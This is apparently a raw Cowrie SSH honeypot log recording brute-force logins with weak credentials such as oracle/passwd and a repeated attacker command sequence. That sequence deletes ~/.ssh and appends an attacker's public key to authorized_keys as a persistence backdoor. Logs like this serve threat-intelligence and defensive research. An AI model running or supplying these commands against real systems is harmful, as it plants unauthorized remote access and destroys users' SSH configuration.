{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:30.241116Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"passwd","message":"login attempt [oracle/passwd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:30.986080Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:31.377403Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:31.380015Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:31.382391Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:31.558258Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:31.943702Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:31.946960Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:32.124661Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:32.128589Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":60088,"dst_ip":"10.17.0.5","dst_port":22,"session":"77156819ba9a","protocol":"ssh","message":"New connection: 138.124.158.150:60088 (10.17.0.5:22) [session: 77156819ba9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:32.314467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:32.319125Z","src_ip":"138.124.158.150","session":"77156819ba9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:32.498510Z","src_ip":"138.124.158.150","session":"77156819ba9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:33.252758Z","src_ip":"138.124.158.150","session":"77156819ba9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:34.438346Z","src_ip":"138.124.158.150","session":"77156819ba9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":60098,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d976a6c4792","protocol":"ssh","message":"New connection: 138.124.158.150:60098 (10.17.0.5:22) [session: 7d976a6c4792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:34.614070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:34.623077Z","src_ip":"138.124.158.150","session":"7d976a6c4792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:34.805775Z","src_ip":"138.124.158.150","session":"7d976a6c4792","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:35.563313Z","src_ip":"138.124.158.150","session":"7d976a6c4792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:35.739315Z","src_ip":"138.124.158.150","session":"1cff18870ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:35.746776Z","src_ip":"138.124.158.150","session":"7d976a6c4792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.1.120.37","src_port":39200,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc0928ab9247","protocol":"ssh","message":"New connection: 42.1.120.37:39200 (159.203.135.109:22) [session: fc0928ab9247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:44.046639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:08:44.051724Z","src_ip":"42.1.120.37","session":"fc0928ab9247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":47830,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3fc9be386bb","protocol":"ssh","message":"New connection: 87.106.29.151:47830 (10.17.0.5:22) [session: a3fc9be386bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:09.985382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:09.990066Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:10.087400Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"passwd","message":"login attempt [oracle/passwd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:10.488960Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:10.719356Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:10.722863Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:10.726871Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:10.823133Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:11.051897Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:11.055140Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:11.151805Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:11.155931Z","src_ip":"87.106.29.151","session":"a3fc9be386bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":47838,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b7222ede90c","protocol":"ssh","message":"New connection: 87.106.29.151:47838 (10.17.0.5:22) [session: 1b7222ede90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:11.240310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:11.244502Z","src_ip":"87.106.29.151","session":"1b7222ede90c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:11.336482Z","src_ip":"87.106.29.151","session":"1b7222ede90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:11.736002Z","src_ip":"87.106.29.151","session":"1b7222ede90c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:12.831192Z","src_ip":"87.106.29.151","session":"1b7222ede90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":47844,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8c8a373a1a3","protocol":"ssh","message":"New connection: 87.106.29.151:47844 (10.17.0.5:22) [session: e8c8a373a1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:12.919371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:09:12.924909Z","src_ip":"87.106.29.151","session":"e8c8a373a1a3","protocol":"ssh"}
